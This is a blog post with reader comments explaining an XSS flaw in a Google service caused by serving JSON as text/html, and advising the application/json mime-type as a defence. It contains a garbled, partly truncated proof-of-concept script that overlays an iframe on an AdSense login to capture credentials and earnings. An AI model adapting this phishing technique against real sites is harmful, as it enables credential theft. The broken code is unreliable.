Don’t serve JSON as text/html

Another day, another XSS flaw, this one in Google again, but this is a little more interesting than the normal ones, what this one shows is how JSON results add an extra vector to attack that might be missed by your QA team.

The problem here was that the JSON was returned with a mime-type of text/html, a browser will render that as if it was an HTML page, even if it’s really just a javascript snippet. The easiest way to protect against these is to ensure that all javascript recieved by the XMLHTTPRequest object is returned with a suitable mime-type - application/json That will mean even when you make a mistake and write un-encoded untrusted data to the document, it won’t allow people to attack your site.

The google exploit was reported here, it’s at the time of writing unpatched, unfortunately that was down to the discoverer not giving google any time to fix, whilst they have had their problems before, recently they have patched quickly, so this was not very fair, or wise. Google also appear to be taking testing their own services for security flaws more seriously, they recently had a presentation to the QA team that you can watch on Google Video.

As I’ve said before, the everything on a single domain causes problems, it means any exploit anywhere on the domain, allows you to exploit any service provided for the domain. This exploit is also present in https:// google, so to re-enforce the problem XSS can present to a user, and why XSS is not simply about cookie stealing. Here’s a simple demonstration of using the exploit to steal username and password from google adsense.

The exploit is simply used to create an IFRAME that fills the document and points it to a google adsense login, when the user logs in, the username and password are alerted - also after logging in, then the “today’s earnings” are alerted. Of course a real attacker would not alert these fields, but would sent them off to a site to be collected later. Are google adsense passwords useful? Would you notice if the address or account to get the cash changed until you’d not got the cheque?

The script code is simple, you don’t need to be clever, and phishers generally aren’t stupid, it takes brains to launder money.

document.body.innerHTML="<div><iframe src=''"+
" onload='go()' style='position:absolute;top:0;left:0;height:100%;width:100%;'></div>";

function go() {
  try {
  var win=window.frames[0];"hidden";"0px solid white";
  var doc=win.frames[0].document.forms[0];
  doc.onsubmit=function() {
   alert("Your adsense username and password are:n"+
 } catch (e) {
  try {
   var win=window.frames[0];
   var doc=win.document.body;
   var x="Today's Earnings:"+doc.getElementsByTagName('h1')[0];
   alert(x.getElementsByTagName('span')[0].innerHTML.replace(" ",""));
  } catch (e) {}

The result is clear:

24 Responses to “Don’t serve JSON as text/html”

  1. Web Things, by Mark Baker » Blog Archive » Don’t serve JSON as text/html Says:

    […] Don’t serve JSON as text/html A detailed anatomy of an innovative XSS bug. Neat. Yet another reason to stick to Web architectural principles. (link) [] […]

  2. grumpY! Says:

    how does application/json compare with text/javascript? i presume they are equivalent…any insights?

  3. Jim Says:

    text/javascript would be fine if it was javascript, often the JSON snippet is just a snippet of JSON, so then the json mime-type would be more appropriate - either way it would reduce the risk of being attacked.

  4. Bill Rehm Says:

    What would a non-javascript snippet of JavaScript Object Notation look like, I wonder?

  5. Sébastien Barbieri’s blog » Blog Archive » JSON mime-type Says:

    […] […]

  6. Syed Saud Shah Says:

    It’s really very useful information about google adsense login/password protection. Whereas the exploits explained above are mostly effect on IE or firefox?

  7. kuniform » Blog Archive » JSON XSS vulnerability, accessibility and more Says:

    […] Back from Michigan, and tired as heck from 5.5 hours of driving, Detroit to Chicago. I’m cruising through my inbox, and realizing how much I have to do this week. Oy! In any event, a great writeup by Jim Ley on a JSON XSS vulnerability when using “text/html” as the mimetype and some thoughts from Anna van Kesteren on using the role attribute for accessibility in html documents were waiting there. […]

  8. Aukcje Says:

    Thanks for this very good article … Can i translate this and insert on my site in Poland? … Thanks

  9. text/javascript Says:

    Serve JSON as text/javascript not application/json

  10. Helder Magalhães Says:

    In response to “text/javascript”:

    This MIME type is obsolete:

    On the other hand, “application/json” is standard:



  11. pointless... Says:

    and how will changing the mime type you serve a document as protect you? If a phisher already has enough control of a browser to inspect the ajax transaction, do you think mime type will really prevent them from getting this data?

  12. links for 2007-08-17 « napyfab:blog Says:

    […] Jibbering Musings » Don’t serve JSON as text/html (tags: json javascript security xss ajax google programming exploit development web) […]

  13. Semantic Web Blog Says:

    […] Don?t serve JSON as text/html Another day, another XSS flaw, this one in Google again, but this is a little more interesting than the normal ones, what this one shows is how JSON results add an extra vector to attack that might be missed by your QA team. The problem here was that the JSON was … […]

  14. Scott Says:


    If you serve content as text/html, the browser will render it with JavaScript, iframes, etc. It is rendering this unsafe content that gives the phisher control.

    If you serve content as application/json, the browser will not render it as html.

    That’s why setting the content type to application/json offers some protection against this type of XSS vulnerability.

  15. Matt Wilson Says:

    You really make $5 a day on adsense? Wow. That’s about a hundred times better than me.

  16. SneakyWho_am_i Says:

    How does he make $5 a day on adsense when he forgets to set a foregfround colour for the forms!?

    Yeah, changing the mime type to the correct thing definietly helps, it adds a hurdle. Nothing is unhackable as long as it’s plugged i (and even after) so it’s good to throw up hurdles whrever you can (well, when dealing with adsense or anything like that, especially)

    Interestign how your email address changed once you were logged in, Jim.

  17. Jim Says:

    “Interestign how your email address changed once you were logged in, Jim. ”

    It was a demo on a different account - my real adsense account is on my spurn address, when I typed into the gmail address - I typed in wrong data :)

    Many people will acknolwedge my love of chicken though.

  18. Ajax & Json « Encyclopedia Knowledge Says:

    […] Its not clear yet which other AJAX frameworks support the X-JSON header. So it seems that with YUI its more reliable to simply use application/json as the content type, which aside from being a cleaner way to return json data also addresses some security issues. Here is an example helper class that from which all JSON enabled modules should extend. As you can see the code is also able to return the data as HTML in case this method is used on a request that is made directly (not via XMLHTTPRequest) using the debug frontend. This requires the existence of a global _json.php template. This way you can also use the debug panel when debugging JSON requests. […]

  19. Django tips: A simple AJAX example, part 1 | 哲学 Says:

    […] The only thing that’s changed here, really, is that we test for the xhr parameter in the URL and, if it’s present, we return an HttpResponse whose content is the JSON translation of the dictionary we would have used for template context. We use application/javascript for the response’s Content-Type header because the default — text/html — can open up security holes. […]

  20. Orange is my favorite color » Blog Archive » Control JSON formatting with Coldspring Remote Proxy Says:

    […] Content-type was understood by Firefox, meaning it was potentially insecure […]

  21. Keilaron Says:

    Interesting! I was actually in the habit of serving JSON as text/plain, more for the readability than anything else (I wasn’t aware of application/json at all). Good to know!

  22. Mark Says:

    Adding application/json to my content header yielded a direct download in Safari/OSX so I still “see” the result JSON String.

  23. Wizzard Says:

    I was using for serving JSON mime-type “application/json”, but as it seems, firefox does not understand this mime-type for viewing in browser. When trying to view my JSON in browser, dialog for download the file will appear, so for defending against the exploit and viewing JSON data, mime-type “text/plain” (not “text/html”) works just fine

  24. Jim Says:

    Wizzard, text/plain still has issues with certain misbehaving browsers who will sniff the content-type. If you need an internal viewer for the mime-type, simply configure your browser to render the json mime-type, don’t risk other peoples browsers who aren’t as well configured as yours.

Leave a Reply